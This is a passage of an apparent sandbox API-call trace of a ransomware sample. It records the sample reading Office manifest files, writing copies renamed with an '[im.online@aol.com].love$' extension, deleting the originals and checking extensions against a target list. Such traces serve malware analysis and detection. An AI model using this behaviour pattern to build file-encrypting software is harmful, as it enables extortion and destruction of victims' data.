office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.921] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0112.922] CloseHandle (hObject=0x380) returned 1 [0112.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0112.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.922] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.922] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.923] GetLastError () returned 0x0 [0112.923] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0113.571] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0113.604] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.604] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0113.605] SetEndOfFile (hFile=0x354) returned 1 [0113.605] CloseHandle (hObject=0x354) returned 1 [0113.612] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.612] SetEndOfFile (hFile=0x380) returned 1 [0113.614] CloseHandle (hObject=0x380) returned 1 [0113.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0113.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0113.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.615] lstrlenW (lpString=".doc") returned 4 [0113.615] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString=".docx") returned 5 [0113.615] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0113.615] lstrlenW (lpString=".pdf") returned 4 [0113.615] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString=".xls") returned 4 [0113.615] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString=".xlsx") returned 5 [0113.615] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0113.615] lstrlenW (lpString=".ppt") returned 4 [0113.615] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.615] lstrlenW (lpString=".zip") returned 4 [0113.615] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.615] lstrlenW (lpString=".rar") returned 4 [0113.615] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString=".bz2") returned 4 [0113.615] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.615] lstrlenW (lpString=".7z") returned 3 [0113.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.616] lstrlenW (lpString=".dbf") returned 4 [0113.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.616] lstrlenW (lpString=".1cd") returned 4 [0113.616] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.616] lstrlenW (lpString=".jpg") returned 4 [0113.616] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0113.616] lstrlenW (lpString=".doc") returned 4 [0113.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString=".docx") returned 5 [0113.616] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0113.616] lstrlenW (lpString=".pdf") returned 4 [0113.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString=".xls") returned 4 [0113.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.616] lstrlenW (lpString=".xlsx") returned 5 [0113.616] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.337] lstrlenW (lpString=".ppt") returned 4 [0114.337] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0114.337] lstrlenW (lpString=".zip") returned 4 [0114.351] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.351] lstrlenW (lpString=".rar") returned 4 [0114.351] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.351] lstrlenW (lpString=".bz2") returned 4 [0114.351] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.351] lstrlenW (lpString=".7z") returned 3 [0114.351] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0114.351] lstrlenW (lpString=".dbf") returned 4 [0114.351] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0114.352] lstrlenW (lpString=".1cd") returned 4 [0114.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0114.352] lstrlenW (lpString=".jpg") returned 4 [0114.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.352] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0114.352] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0114.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.413] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=9216) returned 1 [0115.426] CloseHandle (hObject=0x380) returned 1 [0115.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0115.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0115.427] GetLastError () returned 0x0 [0115.427] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x2400, lpOverlapped=0x0) returned 1 [0115.447] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2410, lpOverlapped=0x0) returned 1 [0115.449] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.449] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.449] SetEndOfFile (hFile=0x37c) returned 1 [0115.450] CloseHandle (hObject=0x37c) returned 1 [0115.452] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.452] SetEndOfFile (hFile=0x380) returned 1 [0115.453] CloseHandle (hObject=0x380) returned 1 [0115.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0115.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.454] lstrlenW (lpString=".doc") returned 4 [0115.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.454] lstrlenW (lpString=".docx") returned 5 [0115.454] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.454] lstrlenW (lpString=".pdf") returned 4 [0115.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.454] lstrlenW (lpString=".xls") returned 4 [0115.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.454] lstrlenW (lpString=".xlsx") returned 5 [0115.454] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.454] lstrlenW (lpString=".ppt") returned 4 [0115.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.454] lstrlenW (lpString=".zip") returned 4 [0115.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.455] lstrlenW (lpString=".rar") returned 4 [0115.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString=".bz2") returned 4 [0115.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString=".7z") returned 3 [0115.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.455] lstrlenW (lpString=".dbf") returned 4 [0115.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.455] lstrlenW (lpString=".1cd") returned 4 [0115.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.455] lstrlenW (lpString=".jpg") returned 4 [0115.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.455] lstrlenW (lpString=".doc") returned 4 [0115.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString=".docx") returned 5 [0115.455] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.455] lstrlenW (lpString=".pdf") returned 4 [0115.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString=".xls") returned 4 [0115.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.455] lstrlenW (lpString=".xlsx") returned 5 [0115.455] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.455] lstrlenW (lpString=".ppt") returned 4 [0115.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.456] lstrlenW (lpString=".zip") returned 4 [0115.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.456] lstrlenW (lpString=".rar") returned 4 [0115.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.456] lstrlenW (lpString=".bz2") returned 4 [0115.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.456] lstrlenW (lpString=".7z") returned 3 [0115.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.456] lstrlenW (lpString=".dbf") returned 4 [0115.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.456] lstrlenW (lpString=".1cd") returned 4 [0115.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0115.456] lstrlenW (lpString=".jpg") returned 4 [0115.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.456] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.456] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0115.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.457] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0115.457] CloseHandle (hObject=0x380) returned 1 [0115.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0115.457] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.458] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0115.458] GetLastError () returned 0x0 [0115.458] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0115.460] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0115.462] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.462] WriteFile (in: hFile=0x37c, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.462] SetEndOfFile (hFile=0x37c) returned 1 [0115.462] CloseHandle (hObject=0x37c) returned 1 [0115.468] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.468] SetEndOfFile (hFile=0x380) returned 1 [0115.469] CloseHandle (hObject=0x380) returned 1 [0115.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0115.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.470] lstrlenW (lpString=".doc") returned 4 [0115.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.470] lstrlenW (lpString=".docx") returned 5 [0115.470] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.471] lstrlenW (lpString=".pdf") returned 4 [0115.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString=".xls") returned 4 [0115.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString=".xlsx") returned 5 [0115.471] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.471] lstrlenW (lpString=".ppt") returned 4 [0115.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.471] lstrlenW (lpString=".zip") returned 4 [0115.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.471] lstrlenW (lpString=".rar") returned 4 [0115.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString=".bz2") returned 4 [0115.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString=".7z") returned 3 [0115.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.471] lstrlenW (lpString=".dbf") returned 4 [0115.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.471] lstrlenW (lpString=".1cd") returned 4 [0115.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.471] lstrlenW (lpString=".jpg") returned 4 [0115.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.472] lstrlenW (lpString=".doc") returned 4 [0115.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString=".docx") returned 5 [0115.472] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.472] lstrlenW (lpString=".pdf") returned 4 [0115.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString=".xls") returned 4 [0115.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString=".xlsx") returned 5 [0115.472] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.472] lstrlenW (lpString=".ppt") returned 4 [0115.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0115.472] lstrlenW (lpString=".zip") returned 4 [0115.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.472] lstrlenW (lpString=".rar") returned 4 [0115.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.472] lstrlenW (lpString=".bz2") returned 4 [0115.472] lstrcmpiW (lpString1=".bz2", 